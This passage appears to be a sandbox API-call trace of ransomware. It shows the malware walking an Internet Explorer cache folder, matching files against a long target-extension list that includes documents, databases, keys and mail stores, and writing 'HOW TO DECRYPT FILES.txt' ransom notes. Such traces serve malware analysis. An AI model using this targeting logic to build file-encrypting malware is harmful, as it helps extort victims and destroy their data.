HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.htm") returned 0 [0082.435] lstrlenA (lpString="*.htm") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.xlsx") returned 0 [0082.435] lstrlenA (lpString="*.xlsx") returned 6 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.xls") returned 0 [0082.435] lstrlenA (lpString="*.xls") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mp4") returned 0 [0082.435] lstrlenA (lpString="*.mp4") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.ppt") returned 0 [0082.435] lstrlenA (lpString="*.ppt") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.pptx") returned 0 [0082.435] lstrlenA (lpString="*.pptx") returned 6 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.doc") returned 0 [0082.435] lstrlenA (lpString="*.doc") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.dot") returned 0 [0082.435] lstrlenA (lpString="*.dot") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.docx") returned 0 [0082.436] lstrlenA (lpString="*.docx") returned 6 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.7z") returned 0 [0082.436] lstrlenA (lpString="*.7z") returned 4 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.tar") returned 0 [0082.436] lstrlenA (lpString="*.tar") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.bz2") returned 0 [0082.436] lstrlenA (lpString="*.bz2") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.gz") returned 0 [0082.436] lstrlenA (lpString="*.gz") returned 4 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mkv") returned 0 [0082.436] lstrlenA (lpString="*.mkv") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.eml") returned 0 [0082.436] lstrlenA (lpString="*.eml") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.msg") returned 0 [0082.436] lstrlenA (lpString="*.msg") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.edb") returned 0 [0082.436] lstrlenA (lpString="*.edb") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.accdb") returned 0 [0082.436] lstrlenA (lpString="*.accdb") returned 7 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.odb") returned 0 [0082.436] lstrlenA (lpString="*.odb") returned 5 [0082.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.java") returned 0 [0082.437] lstrlenA (lpString="*.java") returned 6 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.asm") returned 0 [0082.437] lstrlenA (lpString="*.asm") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.pfx") returned 0 [0082.437] lstrlenA (lpString="*.pfx") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.pem") returned 0 [0082.437] lstrlenA (lpString="*.pem") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.p12") returned 0 [0082.437] lstrlenA (lpString="*.p12") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.gpg") returned 0 [0082.437] lstrlenA (lpString="*.gpg") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.vsd") returned 0 [0082.437] lstrlenA (lpString="*.vsd") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.odg") returned 0 [0082.437] lstrlenA (lpString="*.odg") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.raw") returned 0 [0082.437] lstrlenA (lpString="*.raw") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.nef") returned 0 [0082.437] lstrlenA (lpString="*.nef") returned 5 [0082.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.svg") returned 0 [0082.437] lstrlenA (lpString="*.svg") returned 5 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.psd") returned 0 [0082.438] lstrlenA (lpString="*.psd") returned 5 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.vmx") returned 0 [0082.438] lstrlenA (lpString="*.vmx") returned 5 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.vmdk") returned 0 [0082.438] lstrlenA (lpString="*.vmdk") returned 6 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.vdi") returned 0 [0082.438] lstrlenA (lpString="*.vdi") returned 5 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.lay6") returned 0 [0082.438] lstrlenA (lpString="*.lay6") returned 6 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mpeg") returned 0 [0082.438] lstrlenA (lpString="*.mpeg") returned 6 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.djvu") returned 0 [0082.438] lstrlenA (lpString="*.djvu") returned 6 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.tiff") returned 0 [0082.438] lstrlenA (lpString="*.tiff") returned 6 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.backup") returned 0 [0082.438] lstrlenA (lpString="*.backup") returned 8 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.pdf") returned 0 [0082.438] lstrlenA (lpString="*.pdf") returned 5 [0082.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.cert") returned 0 [0082.439] lstrlenA (lpString="*.cert") returned 6 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.docm") returned 0 [0082.439] lstrlenA (lpString="*.docm") returned 6 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.xlsm") returned 0 [0082.439] lstrlenA (lpString="*.xlsm") returned 6 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.dwg") returned 0 [0082.439] lstrlenA (lpString="*.dwg") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.nd") returned 0 [0082.439] lstrlenA (lpString="*.nd") returned 4 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.tlg") returned 0 [0082.439] lstrlenA (lpString="*.tlg") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.lgb") returned 0 [0082.439] lstrlenA (lpString="*.lgb") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mov") returned 0 [0082.439] lstrlenA (lpString="*.mov") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.xdw") returned 0 [0082.439] lstrlenA (lpString="*.xdw") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.ods") returned 0 [0082.439] lstrlenA (lpString="*.ods") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.wav") returned 0 [0082.439] lstrlenA (lpString="*.wav") returned 5 [0082.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mp3") returned 0 [0082.439] lstrlenA (lpString="*.mp3") returned 5 [0082.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.aiff") returned 0 [0082.440] lstrlenA (lpString="*.aiff") returned 6 [0082.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.flac") returned 0 [0082.440] lstrlenA (lpString="*.flac") returned 6 [0082.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.m4a") returned 0 [0082.440] lstrlenA (lpString="*.m4a") returned 5 [0082.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.csv") returned 0 [0082.440] lstrlenA (lpString="*.csv") returned 5 [0082.440] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61341460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61341460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x613675c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c9f6, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="cb=gapi[1].loaded_0", cAlternateFileName="CB_GAP~1.LOA")) returned 1 [0082.440] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.440] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cb=gapi[1].loaded_0") returned 1 [0082.440] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cb=gapi[1].loaded_0") returned 1 [0082.440] lstrcmpiA (lpString1="", lpString2="cb=gapi[1].loaded_0") returned -1 [0082.440] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css") returned="bs-jsdep[1].css" [0082.440] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.440] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.440] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.440] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.441] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="cb=gapi[1].loaded_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0" [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.ems") returned 0 [0082.441] lstrlenA (lpString="*.ems") returned 5 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.db") returned 0 [0082.441] lstrlenA (lpString="*.db") returned 4 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.dbf") returned 0 [0082.441] lstrlenA (lpString="*.dbf") returned 5 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.myox") returned 0 [0082.441] lstrlenA (lpString="*.myox") returned 6 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.myo") returned 0 [0082.441] lstrlenA (lpString="*.myo") returned 5 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qbw") returned 0 [0082.441] lstrlenA (lpString="*.qbw") returned 5 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qbb") returned 0 [0082.441] lstrlenA (lpString="*.qbb") returned 5 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qbm") returned 0 [0082.441] lstrlenA (lpString="*.qbm") returned 5 [0082.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qbo") returned 0 [0082.442] lstrlenA (lpString="*.qbo") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qbx") returned 0 [0082.442] lstrlenA (lpString="*.qbx") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qba") returned 0 [0082.442] lstrlenA (lpString="*.qba") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qby") returned 0 [0082.442] lstrlenA (lpString="*.qby") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qbj") returned 0 [0082.442] lstrlenA (lpString="*.qbj") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.ofx") returned 0 [0082.442] lstrlenA (lpString="*.ofx") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.qif") returned 0 [0082.442] lstrlenA (lpString="*.qif") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mye") returned 0 [0082.442] lstrlenA (lpString="*.mye") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mbox") returned 0 [0082.442] lstrlenA (lpString="*.mbox") returned 6 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.eml") returned 0 [0082.442] lstrlenA (lpString="*.eml") returned 5 [0082.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.pst") returned 0 [0082.442] lstrlenA (lpString="*.pst") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.ost") returned 0 [0082.443] lstrlenA (lpString="*.ost") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.idx") returned 0 [0082.443] lstrlenA (lpString="*.idx") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.dbx") returned 0 [0082.443] lstrlenA (lpString="*.dbx") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.sql") returned 0 [0082.443] lstrlenA (lpString="*.sql") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mdb") returned 0 [0082.443] lstrlenA (lpString="*.mdb") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 